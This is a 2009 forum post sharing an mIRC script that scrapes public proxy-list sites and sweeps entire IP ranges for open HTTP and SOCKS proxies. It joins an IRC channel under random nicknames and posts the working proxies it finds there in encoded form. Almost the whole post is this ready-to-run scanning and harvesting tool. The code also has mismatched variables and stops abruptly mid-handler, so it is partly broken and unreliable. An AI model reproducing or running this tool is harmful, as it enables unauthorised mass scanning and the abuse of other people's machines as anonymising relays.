|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| |
|
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145
People Online:
Visitors: 480
Members: 0
Total: 480
|
|
|
|
|
|
PacketStorm News |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Proxy&Socks Scanner + leecher |
|
Posted: Sat Aug 08, 2009 4:24 pm |
|
|
independent911 |
Active user |
|
|
Joined: Aug 01, 2007 |
Posts: 38 |
Location: Canada,Qc |
|
|
|
|
|
|
Put in remotes of mIRC (ALT+R) click Ok. Type: /leech
Need mIRCv6.21 or higher
Enjoy
-----
Code: | alias varset {
unset %incvar
:varset
inc %incvar
set % $+ $left($gettok($1,%incvar,59),1) $right($gettok($1,%incvar,59),1)
if (%incvar >= $numtok($1,59)) return
goto varset
}
on 1:SOCKOPEN:p-l*:{
if ($sockerr) return
sockwrite -n $sockname GET http://proxies.my-proxy.com/proxy-list- $+ $remove($sockname,p-l) $+ .html HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:p-l*:{
sockread -fn &buffer
if (*.*.*.*:* iswm $bvar(&buffer,1,200).text) {
%inc.a = 0
%MAX.a = $bvar(&buffer,0)
while (%inc.a < %max.a) {
inc %inc.a 300
%text.a = $bvar(&buffer,$calc(%inc.a -299),%inc.a).text
%maximum = $numtok(%text.a,60)
set %incthashit 1
while (%incthashit < %maximum) { sc4n $gettok(%text.a,%incthashit,60) | inc %incthashit }
}
elseif (%inc.a >= %max.a) {
%text.a = $bvar(&buffer,$calc(%inc.a -299),%max.a).text
%maximum = $numtok(%text.a,60)
set %incthashit 1
while (%incthashit < %maximum) { sc4n $gettok(%text.a,%incthashit,60) | inc %incthashit }
unset %inc.a,%max.a
}
}
}
on 1:SOCKOPEN:nntime*:{
if ($sockerr) return
sockwrite -n $sockname GET http://nntime.com/proxy-list- $+ $remove($sockname,nntime) $+ .htm HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:nntime*:{
sockread -n %temp
;echo -a $htmlfree(%temp)
if ($getiphost2($htmlfree(%temp))) sc4n $getiphost2($htmlfree(%temp))
}
on 1:SOCKOPEN:sworld*:{
if ($sockerr) return
sockwrite -n $sockname GET http://socks-world.blogspot.com/ HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:sworld*:{
sockread -n %temp
;echo -a $htmlfree(%temp)
if ($getiphost2($htmlfree(%temp))) s4.scan $getiphost2($htmlfree(%temp))
if ($getiphost2($htmlfree(%temp))) s5.scan $getiphost2($htmlfree(%temp))
}
alias leech {
echo @proxyscan 4 $+ $timestamp * Now leeching proxy-lists over the web, mIRC might freeze (if so use CTRL + BREAK)
.timeralive -o 1 5 sockopen alive aliveproxylist.blogspot.com 80
.timerNNtime 1 1 sockopen nntime01 nntime.com 80
.timerproxy4free -o 1 5 sockopen pxy4free1 www.proxy4free.com 80
.timerproxy4free1 -o 1 15 sockopen pxy4free2 www.proxy4free.com 80
.timeranonchk -o 1 5 sockopen anonchk1 www.anonymitychecker.com 80
.timeranonchk1 -o 1 15 sockopen anonchk2 www.anonymitychecker.com 80
.timerspl -o 1 0 sockopen xspl socksproxylists.com 80
.timernn2 1 $calc(10*1) sockopen nntime02 nntime.com 80
.timernn3 1 $calc(10*2) sockopen nntime03 nntime.com 80
.timernn4 1 $calc(10*3) sockopen nntime04 nntime.com 80
.timernn5 1 $calc(10*4) sockopen nntime05 nntime.com 80
.timernn6 1 $calc(10*5) sockopen nntime06 nntime.com 80
.timernn7 1 $calc(10*6) sockopen nntime07 nntime.com 80
.timernn8 1 $calc(10*7) sockopen nntime08 nntime.com 80
.timernn9 1 $calc(10*8) sockopen nntime09 nntime.com 80
.timernn10 1 $calc(10*9) sockopen nntime10 nntime.com 80
.timernn11 1 $calc(10*10) sockopen nntime11 nntime.com 80
.timernn12 1 $calc(10*11) sockopen nntime12 nntime.com 80
.timernn13 1 $calc(10*12) sockopen nntime13 nntime.com 80
.timernn14 1 $calc(10*13) sockopen nntime14 nntime.com 80
.timernn15 1 $calc(10*14) sockopen nntime15 nntime.com 80
.timernn16 1 $calc(10*15) sockopen nntime16 nntime.com 80
sockopen p-l1 proxies.my-proxy.com 80
.timersworld 1 1 sockopen sworld socks-world.blogspot.com 80
.timerpmp2 1 $calc(10*1) sockopen p-l2 proxies.my-proxy.com 80
.timerpmp3 1 $calc(10*2) sockopen p-l3 proxies.my-proxy.com 80
.timerpmp4 1 $calc(10*3) sockopen p-l4 proxies.my-proxy.com 80
.timerpmp5 1 $calc(10*4) sockopen p-l5 proxies.my-proxy.com 80
.timerpmp6 1 $calc(10*5) sockopen p-l6 proxies.my-proxy.com 80
.timerpmp7 1 $calc(10*6) sockopen p-l7 proxies.my-proxy.com 80
.timerpmp8 1 $calc(10*7) sockopen p-l8 proxies.my-proxy.com 80
.timerpmp9 1 $calc(10*8) sockopen p-l9 proxies.my-proxy.com 80
.timerpmp10 1 $calc(10*9) sockopen p-l10 proxies.my-proxy.com 80
.timerpmp11 1 $calc(10*10) sockopen p-ls1 proxies.my-proxy.com 80
.timerpmp12 1 $calc(10*11) sockopen p-ls2 proxies.my-proxy.com 80
.timerpmp13 1 $calc(10*12) sockopen p-ls3 proxies.my-proxy.com 80
.timersam1 1 10 sockopen sam01 samair.ru 80
.timersam2 1 $calc(10*2) sockopen sam02 samair.ru 80
.timersam3 1 $calc(10*3) sockopen sam03 samair.ru 80
.timersam4 1 $calc(10*4) sockopen sam04 samair.ru 80
.timersam5 1 $calc(10*5) sockopen sam05 samair.ru 80
.timersam6 1 $calc(10*6) sockopen sam06 samair.ru 80
.timersam7 1 $calc(10*7) sockopen sam07 samair.ru 80
.timersam8 1 $calc(10*8) sockopen sam08 samair.ru 80
.timersam9 1 $calc(10*9) sockopen sam09 samair.ru 80
.timersam10 1 $calc(10*10) sockopen sam10 samair.ru 80
.timersam11 1 $calc(10*11) sockopen sam11 samair.ru 80
.timersam12 1 $calc(10*12) sockopen sam12 samair.ru 80
.timersam13 1 $calc(10*13) sockopen sam13 samair.ru 80
.timersam14 1 $calc(10*14) sockopen sam14 samair.ru 80
.timersam15 1 $calc(10*15) sockopen sam15 samair.ru 80
.timersam16 1 $calc(10*16) sockopen sam16 samair.ru 80
.timersam17 1 $calc(10*17) sockopen sam17 samair.ru 80
.timersam18 1 $calc(10*18) sockopen sam18 samair.ru 80
.timersam19 1 $calc(10*19) sockopen sam19 samair.ru 80
.timersam20 1 $calc(10*20) sockopen sam20 samair.ru 80
.timersam21 1 $calc(10*21) sockopen sam21 samair.ru 80
.timersam22 1 $calc(10*22) sockopen sam22 samair.ru 80
.timersam23 1 $calc(10*23) sockopen sam23 samair.ru 80
.timersam24 1 $calc(10*24) sockopen sam24 samair.ru 80
.timerAntiproxy -o 1 250 sockopen anti proxy.antipalivo.ru 80
.timerLEECH -o 0 3600 leech
}
on 1:SOCKOPEN:sam*:{
if ($sockerr) { return }
sockwrite -n $sockname GET http://samair.ru/proxy/proxy- $+ $right($sockname,2) $+ .htm HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:sam*:{
sockread -fn &buffer
%max.b = $wildtok($bvar(&buffer,1,$bvar(&buffer,0)).text,*.*.*.*:*,0,60)
%inc.b = 0
while (%max.b > %inc.b) { sc4n $wildtok($bvar(&buffer,1,$bvar(&buffer,0)).text,*.*.*.*:*,%inc.b,60) | inc %inc.b }
}
on 1:SOCKREAD:alive*:{
sockread -n %temp
if ($getiphost2(%temp)) {
if (*Protocol*SOCKS4* iswm %temp) {
s4.scan $getiphost2($gettok(%temp,1,44))
s4.scan $getiphost2($gettok(%temp,2,44))
s4.scan $getiphost2($gettok(%temp,3,44))
s4.scan $getiphost2($gettok(%temp,4,44))
s4.scan $getiphost2($gettok(%temp,5,44))
s4.scan $getiphost2($gettok(%temp,6,44))
s4.scan $getiphost2($gettok(%temp,7,44))
s4.scan $getiphost2($gettok(%temp,8,44))
s4.scan $getiphost2($gettok(%temp,9,44))
s4.scan $getiphost2($gettok(%temp,10,44))
s4.scan $getiphost2($gettok(%temp,11,44))
s4.scan $getiphost2($gettok(%temp,12,44))
s4.scan $getiphost2($gettok(%temp,13,44))
s4.scan $getiphost2($gettok(%temp,14,44))
s4.scan $getiphost2($gettok(%temp,15,44))
s4.scan $getiphost2($gettok(%temp,16,44))
s4.scan $getiphost2($gettok(%temp,17,44))
s4.scan $getiphost2($gettok(%temp,18,44))
goto end
}
elseif (*Protocol*SOCKS5* iswm %temp) {
s5.scan $getiphost2($gettok(%temp,1,44))
s5.scan $getiphost2($gettok(%temp,2,44))
s5.scan $getiphost2($gettok(%temp,3,44))
s5.scan $getiphost2($gettok(%temp,5,44))
s5.scan $getiphost2($gettok(%temp,5,44))
s5.scan $getiphost2($gettok(%temp,6,44))
s5.scan $getiphost2($gettok(%temp,7,44))
s5.scan $getiphost2($gettok(%temp,8,44))
s5.scan $getiphost2($gettok(%temp,9,44))
s5.scan $getiphost2($gettok(%temp,10,44))
s5.scan $getiphost2($gettok(%temp,11,44))
s5.scan $getiphost2($gettok(%temp,12,44))
s5.scan $getiphost2($gettok(%temp,13,44))
s5.scan $getiphost2($gettok(%temp,15,44))
s5.scan $getiphost2($gettok(%temp,15,44))
s5.scan $getiphost2($gettok(%temp,16,44))
s5.scan $getiphost2($gettok(%temp,17,44))
s5.scan $getiphost2($gettok(%temp,18,44))
goto end
}
else {
sc4n $getiphost2($gettok(%temp,1,44))
sc4n $getiphost2($gettok(%temp,2,44))
sc4n $getiphost2($gettok(%temp,3,44))
sc4n $getiphost2($gettok(%temp,5,44))
sc4n $getiphost2($gettok(%temp,5,44))
sc4n $getiphost2($gettok(%temp,6,44))
sc4n $getiphost2($gettok(%temp,7,44))
sc4n $getiphost2($gettok(%temp,8,44))
sc4n $getiphost2($gettok(%temp,9,44))
sc4n $getiphost2($gettok(%temp,10,44))
sc4n $getiphost2($gettok(%temp,11,44))
sc4n $getiphost2($gettok(%temp,12,44))
sc4n $getiphost2($gettok(%temp,13,44))
sc4n $getiphost2($gettok(%temp,15,44))
sc4n $getiphost2($gettok(%temp,15,44))
sc4n $getiphost2($gettok(%temp,16,44))
sc4n $getiphost2($gettok(%temp,17,44))
sc4n $getiphost2($gettok(%temp,18,44))
}
:END
.timerOFF $+ $sockname 1 5 sockclose $sockname
}
}
on 1:SOCKOPEN:alive*:{
if ($sockerr) return
sockwrite -n $sockname GET http://aliveproxylist.blogspot.com/ HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:proxy4free*:{
sockread -n %temp
%hfreedtxt = $htmlfree(%temp)
if ($getiphost2(%hfreedtxt)) { sc4n $v1 | goto end }
if (%hfreedtxt != $null) && ($gettok(%hfreedtxt,1,46) isnum) && ($gettok(%hfreedtxt,2,46) isnum) && ($gettok(%hfreedtxt,3,46) isnum) && ($gettok(%hfreedtxt,4,46) isnum) set %pxytmp $wildtok(%hfreedtxt,*.*.*.*,1,32)
if (%hfreedtxt != $null) && (*.*.*.* iswm %pxytmp) && (%hfreedtxt isnum) { sc4n $getiphost2(%pxytmp %hfreedtxt) | unset %pxytmp }
:END
}
on 1:SOCKOPEN:proxy4free*:{
if ($sockerr) return
unset %hfreedtxt,%pxytmp
sockwrite -n $sockname GET http://www.proxy4free.com/page $+ $remove($sockname,proxy4free) $+ .html HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:anonchk*:{
sockread -n %temp11
%hfreedtxt1 = $htmlfree(%temp11)
if ($getiphost2(%hfreedtxt11)) { sc4n $v1 | goto end }
if (%hfreedtxt11 != $null) && ($gettok(%hfreedtxt11,1,46) isnum) && ($gettok(%hfreedtxt11,2,46) isnum) && ($gettok(%hfreedtxt11,3,46) isnum) && ($gettok(%hfreedtxt11,4,46) isnum) set %pxytmp1 $wildtok(%hfreedtxt11,*.*.*.*,1,32)
if (%hfreedtxt11 != $null) && (*.*.*.* iswm %pxytmp11) && (%hfreedtxt11 isnum) { sc4n $getiphost2(%pxytmp11 %hfreedtxt11) | unset %pxytmp11 }
:END
}
on 1:SOCKOPEN:anonchk*:{
if ($sockerr) return
unset %hfreedtxt11,%pxytmp11
sockwrite -n $sockname GET http://www.anonymitychecker.com/page $+ $remove($sockname,anonchk) $+ .html HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:spl*:{
sockread -n %temp1
%hfreedtxt1 = $htmlfree(%temp1)
:INC
inc %inc.x
if (*@SOCKS4* iswm $gettok(%hfreedtxt1,%inc.x,13)) { s4.scan $getiphost2($v2) }
if (*@SOCKS5* iswm $gettok(%hfreedtxt1,%inc.x,13)) { s5.scan $getiphost2($v2) }
if (30 >= %inc.x) goto inc
:END
unset %inc.x
}
on 1:SOCKOPEN:spl*:{
if ($sockerr) return
unset %hfreedtxt1,%pxytmp1
sockwrite -n $sockname GET http://www.socksproxylists.com/SocksProxyLists/ $+ $sock($sockname).mark HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:xspl*:{
sockread -n %temp1
if (*a*href*.htm* iswm %temp1) {
set %xspl $remove($wildtok(%temp1,*.htm*,1,32),href=,",$chr(62))
%xtmp = SPL $+ $r(0,99999)
sockopen %xtmp $sock($sockname).ip 80
sockmark %xtmp %xspl
.timerOFF $+ $sockname 1 5 sockclose $sockname
}
}
on 1:SOCKOPEN:xspl*:{
if ($sockerr) return
unset %hfreedtxt1,%pxytmp1
sockwrite -n $sockname GET http://www.socksproxylists.com/SocksProxyLists/ HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:anti*:{
sockread -n &buffer
%hfreedtxt2 = $htmlfree($bvar(&buffer,1,$bvar(&buffer,0)).text)
if (*Proxy*list* iswm %hfreedtxt2) { %type1 = pxy }
if (*SOCKS4* iswm %hfreedtxt2) { %type1 = s4 }
if (*SOCKS5* iswm %hfreedtxt2) { %type1 = s5 }
if (*name*=*'*';* iswm %hfreedtxt2) set %pxytmp2 $remove(%hfreedtxt2,name,=,',;)
if (port*=*;* iswm %hfreedtxt2) {
set %port $+ $gettok($remove(%hfreedtxt2,port),1,32) $remove($gettok(%hfreedtxt2,3,32),;)
}
if (*=*+*/*;* iswm %hfreedtxt2) {
%eval = % $+ $gettok(%hfreedtxt2,3,32)
%evall = $eval([ [ %eval ] ],1)
set %parsed $calc(%evall + $gettok(%hfreedtxt2,5-6,32) $remove($gettok(%hfreedtxt2,7,32),;))
if (%type1 == pxy) sc4n %pxytmp2 %parsed
if (%type1 == s4) s4.scan %pxytmp2 %parsed
if (%type1 == s5) s5.scan %pxytmp2 %parsed
unset %port*,%parsed,%pxytmp2
}
}
on 1:SOCKOPEN:anti*:{
if ($sockerr) return
unset %port*,%parsed,%pxytmp2
sockwrite -n $sockname GET http://proxy.antipalivo.ru/ HTTP/1.0
sockwrite -n $sockname $crlf
}
alias sc5nfile { s5.scan $1- }
alias sc4nfile { s4.scan $1- }
alias htmlfree return $regsubex($$1-,/^[^<]*>|<[^>]*>|<[^>]*$/g,)
alias sc4n {
if (*.*.*.* iswm $1-) && ($1 != x) && ($2) {
if (666* !iswm $2) && (7000 != $2) {
if ($read($pxy,w,* $+ $1 $+ *) != $null) { echo @proxyscan $1 $2 Already in list, halted scan. | halt }
echo @Proxyscan Scanning: $1 $2
sockopen scan $+ $r(0,99999999999999) $1 $2
halt
}
}
if ($getiphost2($1-)) {
if ($read($pxy,w,* $+ $gettok($getiphost2($1-),1,32) $+ *) != $null) { echo @proxyscan $1 $2 Already in list, halted scan. | goto next }
echo @Proxyscan Scanning: $getiphost2($1-)
sockopen scan $+ $r(0,99999999999999) $getiphost2($1-)
goto next
}
if (*.*.*.* !iswm $1-) goto next
if ($read($pxy,w,* $+ $wildtok($1-,*.*.*.*,1,32) $+ *) != $null) { echo @Proxyscan $wildtok($1-,*.*.*.*,1,32) Already in list, halted scan. | goto next }
:next
}
alias setinterval {
echo -a SET AN INTERVAL BETWEEN 1 and 10000 MILLISECONDS, DEPENDING ON YOUR CONNECTION 1 IS VERY FAST AND MOST SUITED FOR CABLE USERS.
echo -a To run the script without problem try an interval between 500 and 5000
:restart
%interval = $?="Enter interval in milliseconds, 1 to 10000 "
if (!$!) || ($! >= 10000) goto restart
}
alias scan.win { %def.s = $def.s | %def.p = 6667 | %def.c = proxies | if (%interval == $null) set %interval 1 | if ($window(@proxyscan) == $null) { localinfo | window -e @proxyscan } }
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @proxyscan,menubar {
[-Proxy Scan-]
.Leech Proxy Now!:leech
.Show window: scan.win | window -a @proxyscan | echo @proxyscan Paste your proxies here
.-
.Set interval of scan: setinterval
.-
.Show good proxies: /run $pxy
.Sort proxy list: /filterfile $pxy
.-
.Scan multiple proxy files: selectmultiplefile
.-
.Abort scanning: abord | /SOCKCLOSE SCAN*
.Clear window: /clear
.Hide window: window -h @proxyscan
.-
.Proxy lists
..ProxyGod: run http://proxygod.com.com/
..My-Proxy forum: run http://forum.my-proxy.com/?from=menu
..Xorum: run http://www.xroxy.com/xorum/
..Proxy4Free: run http://www.proxy4free.com
..PublicProxyServers:run http://www.publicproxyservers.com/page1.html
..AnonymityChecker:run http://www.anonymitychecker.com/page1.html
..Proxz:run http://www.proxz.com/
..MultiProxy:run http://www.multiproxy.org/anon_proxy.htm
..Samair:run http://www.samair.ru/proxy/
..Aliveproxy:run http://www.aliveproxy.com/us-proxy-list/
..HighAnonimity: run http://highanonymity.com/
..mazafaka: run http://proxy.mazafaka.ru/
}
alias pxy return IRCproxys.txt
alias abord { play stop }
on *:INPUT:@Proxyscan:{
if (/ !isin $1) && ($getiphost2($1-)) {
write temp $getiphost2($1-)
.timerscanfile 1 1 .pxyfile temp %interval
.timerscanfileoff 1 1.1 .remove temp
return
}
if (!$getiphost2($1-)) && ($wildtok($1-,*.*.*.*,1,32)) sc4n $wildtok($1-,*.*.*.*,1,32)
}
alias sk {
write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
if ($sock(scan_).mark == c) && ($wildtok(%msg,*,0,32) == 3) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) : $+ $colourencode(p %msg) | unset %msg }
set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *)
if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port
}
on *:sockopen:scan*:{
if ($sock(scan_).name == $null) { sockopen scan_ $def.s %def.p }
if ($sockerr > 0) {
if (_ isin $sockname) { .timersS 1 90 sockopen scan_ $def.s %def.p }
if (_ !isin $sockname) echo 15 @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
return
}
if (_ !isin $sockname) {
sockwrite -n $sockname CONNECT $def.s $+ : $+ %def.p HTTP/1. $+ $r(0,1) $+ $crlf
sockwrite -n $sockname $crlf
sockwrite -n $sockname $crlf
return
}
sockwrite -n $sockname $crlf
}
alias codedipport { return $base($longip($gettok($1,1,58)),10,36) $+ : $+ $base($gettok($1,2,58),10,36) }
alias dcodedipport { return $longip($base($gettok($1,1,58),36,10)) $+ : $+ $base($gettok($1,2,58),36,10) }
alias success { echo @proxyscan 3* $1- | if ($wildtok(%msg,*,0,32) >= 3) unset %msg | %msg = $codedipport($2) %msg | sk }
on 1:SOCKCLOSE:SCAN_:.timersS 1 90 sockopen scan_ $def.s %def.p
alias allpxy return ALL.txt
alias portclose { sockclose $1 }
on *:SOCKREAD:scan*:{
sockread %scan
tokenize 32 %scan
set %scan.ip $sock($sockname).ip
set %scan.port $sock($sockname).port
if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $remove($2,:)
if (ERROR isin $1) && (_ isin $sockname) .timersS 1 90 sockopen scan_ $def.s %def.p
if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk }
if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk
if (*NOTICE AUTH* iswmcs $1-3) && (_ isin $sockname) && (!$sock($sockname).mark) { sockmark $sockname C | localinfo | sockwrite -n $sockname USER $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) "." "." : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname NICK : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname JOIN :# $+ $gettok(%def.c,1,32) : $+ $gettok(%def.c,2,32) }
if (451 == $gettok(%scan,2,32)) || (43* iswm $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname USER %av "." "." : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) | sockwrite -n $sockname NICK : $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) }
if (HTTP/* iswm $gettok(%scan,1,32)) {
if ($gettok(%scan,2,32) > 200) { echo 4 @proxyscan Bad: $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $iif(Method not allowed iswm $3-,CoDeeN Proxy,$3-) $+ ) | sockclose $sockname | return }
if ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is connecting... | sockwrite -n $sockname $crlf | sockwrite -n $sockname $crlf }
}
if (*NOTICE AUTH* iswmcs $gettok(%scan,1-3,32)) && (_ !isin $sockname) || (ERROR: == $1) && (_ !isin $sockname) {
set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
if (%readi == $null) {
success * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING!
unset %redi | unset %radi
sockclose $sockname
}
if (%readi != $null) {
$pb * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING!
unset %redi | unset %radi
sockclose $sockname
halt
}
unset %readi
}
unset %scan
}
on 1:sockclose:scan*:echo 4 @proxyscan $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated.
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $gettok(%def.c,2,32)
alias pb return echo @proxyscan
alias scanfile { sc4n $iif($getiphost2($1-),$getiphost2($1-),$2) }
alias pxyfile { play -a scanfile @proxyscan $1 $2 }
alias range {
unset %range*
set %range1 $gettok($1,1,46)
set %range2 $gettok($1,2,46)
set %range3 $gettok($1,3,46)
.timerRANGEr -om 0 300 next $2-
sockwrite -n scan_ $chr(35) $+ $gettok(%def.c,1,32) $colourencode(Starting at $1 on Port $2 Sv $+ $3 )
}
menu menubar {
Open Socks Scanner: window -e @sock4 | window -e @sock5
}
alias next {
:START
set %temp $r(0,999999999999)
if ($sock(s $+ $2 $+ chk $+ %temp).name != $null) goto START
inc %range4
sockopen s $+ $2 $+ chk $+ %temp %range1 $+ . $+ %range2 $+ . $+ %range3 $+ . $+ %range4 $1
goto next
:NEXT
if (%range4 >= 255) { inc %range3 | set %range4 0 }
if (%range3 >= 255) { inc %range2 | set %range3 0 }
if (%range2 >= 255) { unset %range* | sockwrite -n scan_ PRIVMSG : $+ $chr(35) $+ $gettok(%def.c,1,32) $colourencode(Scan halted.) | .timerRANGE off | halt }
}
on *:INPUT:@sock5:{
write temp.s5 $getiphost2($1-)
.timerscans5file 1 1 .s5file temp.s5 %interval
.timerscans5fileoff 1 1.1 .remove temp.s5
}
on *:INPUT:@sock4:{
write temp.s4 $getiphost2($1-)
.timerscans4file 1 1 .s4file temp.s4 %interval
.timerscans4fileoff 1 1.1 .remove temp.s4
}
alias s5.scan {
if (!$1) goto END
window -e @sock5
if ($read(sock5.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { echo @sock5 $gettok($1,1,58) Already in list | goto END }
if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
sockopen s5chk $+ $r(0,9999999) $1 $2
echo @sock5 Scanning: $1 $2
}
}
elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
sockopen s5chk $+ $r(0,9999999) $getiphost2($1-)
echo @sock5 Scanning: $getiphost2($1-)
}
if ($1) && (!$2) && (: !isin $1) sc4n $1
:END
}
menu @sock5 {
Scan SOCK5 IP range:range $?="IP: 59.90.0.0" $?="Port" 5
-
Check current SOCK5 list: /run sock5.txt
Sort file: /filterfile sock5.txt
-
Set interval of scan:setinterval
Scan multiple SOCK5 files: selectmultiplefiles5
-
ABORT SCANS: .play stop | .timerranger off | sockclose *chk*
Clear: /clear
}
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @sock4 {
Scan SOCK4 IP range:range $?="IP: 59.90.0.0" $?="Port" 4
-
Check current SOCK4 list: /run sock4.txt
Sort list: /filterfile sock4.txt
-
Set interval of scan: setinterval
Scan multiple SOCK4 files: selectmultiplefiles4
-
ABORT SCANS: .play stop | .timer* off | sockclose *chk*
Clear: clear
}
alias s4.scan {
if (!$1) goto END
window -e @sock4
if ($read(sock4.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { echo @sock4 $gettok($1,1,58) Already in list | goto END }
if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
sockopen s4chk $+ $r(0,9999999) $1 $2
echo @sock4 Scanning: $1 $2
}
}
elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
sockopen s4chk $+ $r(0,9999999) $getiphost2($1-)
echo @sock4 Scanning: $getiphost2($1-)
}
if ($1) && (!$2) && (: !isin $1) sc4n $1
:END
}
on *:sockopen:s5chk*:{
if ($sock(scan_).name == $null) { sockopen scan_ $def.s %def.p }
if ($sockerr) { echo 15 @sock5 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) | return }
set %s5time $ticks
.bset &bvar5 1 5 1 0
.sockwrite -n $sockname &bvar5
.bunset &bvar5
return
}
on *:sockread:s5chk*:{
if ($sockbr) { return }
.sockread &bsocks5
if ($bvar(&bsocks5,1,2) != 5 0) { echo 4 @sock5 Bad $sock($sockname).ip $+ : $sock($sockname).port return $bvar(&bsocks5,2-) | return }
if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
%def.s = $def.s
bset &socks5 1 5 1 0 1 $replace(%def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
.sockwrite -n $sockname &socks5
.bunset &socks5
sockrename $sockname chks5 $+ $remove($sockname,s5chk)
}
}
on 1:SOCKREAD:chks5*:{
sockread %socks5
tokenize 32 %socks5
if (*NOTICE AUTH* iswmcs $1-3) && (!$sock($sockname).mark) || (ERROR: == $1) && (!$sock($sockname).mark) {
sockmark $sockname c
window -e @sock5
suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
unset %s5time
;sockrename $sockname idle $+ $r(0,999999999)
sockclose $sockname
}
}
alias suces4 { echo @sock4 3* $1- | if ($wildtok(%msgs4,*,0,32) >= 3) unset %msgs4 | set %msgs4 $codedipport($1) %msgs4 | sk4 }
alias suces5 { echo @sock5 3* $1- | if ($wildtok(%msgs5,*,0,32) >= 3) unset %msgs5 | set %msgs5 $codedipport($1) %msgs5 | sk5 }
alias sk4 {
if ($sock(scan_).mark == c) && ($wildtok(%msgs4,*,0,32) == 3) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) : $+ $colourencode(4 %msgs4) | unset %msgs4 }
%rad = sock4.txt
set %rady $read(%rad,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
if (!%rady) write %rad $sock($sockname).ip $+ : $+ $sock($sockname).port
unset %rad*
}
alias sk5 {
if ($sock(scan_).mark == c) && ($wildtok(%msgs5,*,0,32) == 3) { sockwrite -n scan_ privmsg $chr(35) $+ $+ $gettok(%def.c,1,32) : $+ $colourencode(5 %msgs5) | unset %msgs5 }
%red = sock5.txt
set %redy $read(%red,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
if (!%redy) write %red $sock($sockname).ip $+ : $+ $sock($sockname).port
unset %red*
}
on *:sockopen:s4chk*:{
if ($sock(scan_).name == $null) { sockopen scan_ $def.s %def.p }
if ($sockerr) { echo 15 @sock4 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) | return }
set %s4time $ticks
%def.s = $def.s
.bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace(%def.s,.,$chr(32)) 0
.sockwrite $sockname &bvar4
.bunset &bvar4
